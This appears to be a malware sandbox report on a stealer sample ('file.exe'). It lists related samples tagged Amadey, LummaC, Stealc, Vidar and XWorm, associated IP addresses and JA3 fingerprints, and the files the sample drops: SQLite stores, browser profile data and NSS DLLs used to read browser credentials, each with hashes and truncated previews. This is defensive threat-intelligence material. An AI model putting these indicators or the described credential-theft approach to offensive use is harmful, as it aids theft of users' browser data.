plus.l.google.com	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse	172.217.17.46
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.181.78
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.181.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.181.110
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	142.250.181.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.17.78
	https://customervoice.microsoft.com/Pages/ResponsePage.aspx?id=71STY9b6g0G2TUGL0emS8wWPU1E0zmFNnR9SsYf1SC9UREdRTE8xR1FQUFdYSk5WRlZXQ0ZJSlg4NS4u	Get hash	malicious	HTMLPhisher	Browse	142.250.181.110
	Distribution Agreement -21_12_48-December 6, 2024-be1f31b3a4b24beb88d27adfd723203e.pdf	Get hash	malicious	Unknown	Browse	172.217.17.78
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.181.110
	https://inovamora.com/team/index.html	Get hash	malicious	HTMLPhisher	Browse	142.250.181.110

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	file.exe	Get hash	malicious	LummaC Stealer	Browse	23.206.229.226
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.206.229.226
	file.exe	Get hash	malicious	LummaC Stealer	Browse	23.206.229.226
	file.exe	Get hash	malicious	LummaC Stealer	Browse	23.206.229.226
	file.exe	Get hash	malicious	LummaC Stealer	Browse	23.206.229.226
	https://dsbemcm.r.us-east-1.awstrack.me/L0/https:%2F%2Fmondialrelay-fr.pdfing.ai%2F/1/0100019399661370-1ce77c65-1b81-4233-8a20-5a39fd0f0317-000000/J1Yr9vKfHbZhazSj6gj8UC7ow80=403	Get hash	malicious	Unknown	Browse	23.206.229.226
	file.exe	Get hash	malicious	LummaC Stealer	Browse	23.206.229.226
	file.exe	Get hash	malicious	LummaC Stealer	Browse	23.206.229.226
	Recent Services Delays Update.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	23.206.229.226
	file.exe	Get hash	malicious	LummaC Stealer	Browse	23.206.229.226
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.202.163.200 4.245.163.56 23.218.208.109
	https://curnowlaw.com/	Get hash	malicious	Unknown	Browse	172.202.163.200 4.245.163.56 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.202.163.200 4.245.163.56 23.218.208.109
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse	172.202.163.200 4.245.163.56 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.202.163.200 4.245.163.56 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.202.163.200 4.245.163.56 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.202.163.200 4.245.163.56 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.202.163.200 4.245.163.56 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.202.163.200 4.245.163.56 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.202.163.200 4.245.163.56 23.218.208.109

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BGCAFHCA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1209886597424439
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8QbnVcxjONC4Je5Q:r2qOB1nxCkvSAELyKOMq+8QTQKC+
MD5:	EFD26666EAE0E87B32082FF52F9F4C5E
SHA1:	603BFE6A7D6C0EC4B8BA1D38AEA6EFADDC42B5E0
SHA-256:	67D4CAA4255418EB18873F01597D1F4257C4146D1DCED78E26D5FD76B783F416
SHA-512:	28ADD7B8D88795F191567FD029E9F8BC9AEF7584CE3CD56DB40BBA52BC8335F2D8E53A5CE44C153C13A31FD0BE1D76D1E558A4AA5987D5456C000C4D64F08EAA
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBGHCAKKFBGDHJJJKECFBKKECG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIDBFBFHJDGCAKEGHJE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHDAAKJE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1373607036346451
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c9G/k4:MnlyfnGtxnfVuSVumEHUM4
MD5:	64BCCF32ED2142E76D142DF7AAC75730
SHA1:	30AB1540F7909BEE86C0542B2EBD24FB73E5D629
SHA-256:	B274913369030CD83E1C76E8D486F501E349D067824C6A519F2DAB378AD0CC09
SHA-512:	0C2B4FC0D38F97C8411E1541AB15B78C57FEA370F02C17F8CB26101A936F19E636B02AF1DF2A62C8EAEE6B785FE17879E2723D8618C9C3C8BD11EB943BA7AB31
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHDBKFHIJKJKECAAAECA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1765), with CRLF line terminators
Category:	dropped
Size (bytes):	9976
Entropy (8bit):	5.499944288613473
Encrypted:	false
SSDEEP:	192:NzKneRdpYbBp6znmUzaX/6aRMKWPzDNBw8DK9mSl:Nz5eUmUtgmrwbw0
MD5:	42594FD09C4DF3B174CF5D59B1CAB13A
SHA1:	1B78FEB748C36A592C468A76BB60E98187D7BE4A
SHA-256:	F8B55E3B04E0A59BB745C43763D8FBC1CFFDBC247B5525A489B4B74A57319393
SHA-512:	E2430AB14ADF2EF1CC2CB1F96DEADAFB3598B803A5E7724FDDB68ACF015D7E052291626A3D100FED902731DBFD10A9AE3387581AD2867F64D0B27E8D51B9069F
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "38829aa4-f57e-4fd8-bfd3-d094d57ae30f");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696493966);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696493970);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\IIDAAFBGDBKJJJKFIIIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFCFBAAEHCFHJJKEHJKJDHJDGI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03708713717387235
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxW/Hy4XJwvnzfXfYf6zfTfN/0DApVJCI:58r54w0VW3xW/bXWzvACzbJ0DApVJ
MD5:	85D6E1D7F82C11DAC40C95C06B7B5DC5
SHA1:	96EA790BA7A295D78AD5A5019D7EA5E9E8F4B0BD
SHA-256:	D9AD18D2A91CB42FD55695B562D76337BBB4A6AEB45D28C4554297B4EE0DC800
SHA-512:	5DD2B75138EFB9588E14997D84C23C8225F9BFDCEA6A2A1D542AD2C6728484E7E578F06C4BA238853EAD9BE5F9A7CCCF7B2B49A0583FF93D67F072F2C5165B14
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0fd7f9a5-5aa5-40da-9800-03d02aca0234.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44640
Entropy (8bit):	6.095294432086481
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kRALmZhGyr6Pp4859A1AKwWE7RTupzKscDX//NPC1os:z/Ps+wsI7ynnFrCKoRTuiVIos
MD5:	1CA7A2339BB472601C43AF40618502A8
SHA1:	24E57B6F6D5DDA56343A11534D37DC7D8ECF9159
SHA-256:	FC2E40A644BFA4410AE0A4B25637A57C3E09CEFCFCEFF91B6E7430A2B7894835
SHA-512:	3D1A5DB4B52432617F67F37E2EB74F6F0DA59BD626397CDB389C2708B9317E7D9D30A4D22B4D843657C916B59D1FF769FD307C63BAE31EDBA15D63A6C11C3B31
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\241a70a0-a495-44f6-981f-22da2a778933.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44617
Entropy (8bit):	6.095496468492397
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kLALmZhGyr8vH6LEwOP0KwWE7RTupzKscDX//NPC1os:z/Ps+wsI7ynNFrHKoRTuiVIos
MD5:	E4A4B9B81549BDDD26F57C26703C3127
SHA1:	3ABD2641870EA6D334EFF27520864731B11EB99A
SHA-256:	DCA70B22B38575501F256B0689769CE734952C0DD67C20740D714E44899586B0
SHA-512:	BC7FB5147E2059526375CC585D1FABA78658C3029CE86D893A5FFEA2732B377441D0B23BF873AC43E1ADA16DF17C93A42E0DDC4AF0A47D8526F1FE9520D42537
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\91627f9e-148a-4fb1-8e17-6430c14b03fe.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44617
Entropy (8bit):	6.095496468492397
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kLALmZhGyr8vH6LEwOP0KwWE7RTupzKscDX//NPC1os:z/Ps+wsI7ynNFrHKoRTuiVIos
MD5:	E4A4B9B81549BDDD26F57C26703C3127
SHA1:	3ABD2641870EA6D334EFF27520864731B11EB99A
SHA-256:	DCA70B22B38575501F256B0689769CE734952C0DD67C20740D714E44899586B0
SHA-512:	BC7FB5147E2059526375CC585D1FABA78658C3029CE86D893A5FFEA2732B377441D0B23BF873AC43E1ADA16DF17C93A42E0DDC4AF0A47D8526F1FE9520D42537
Malicious:	false
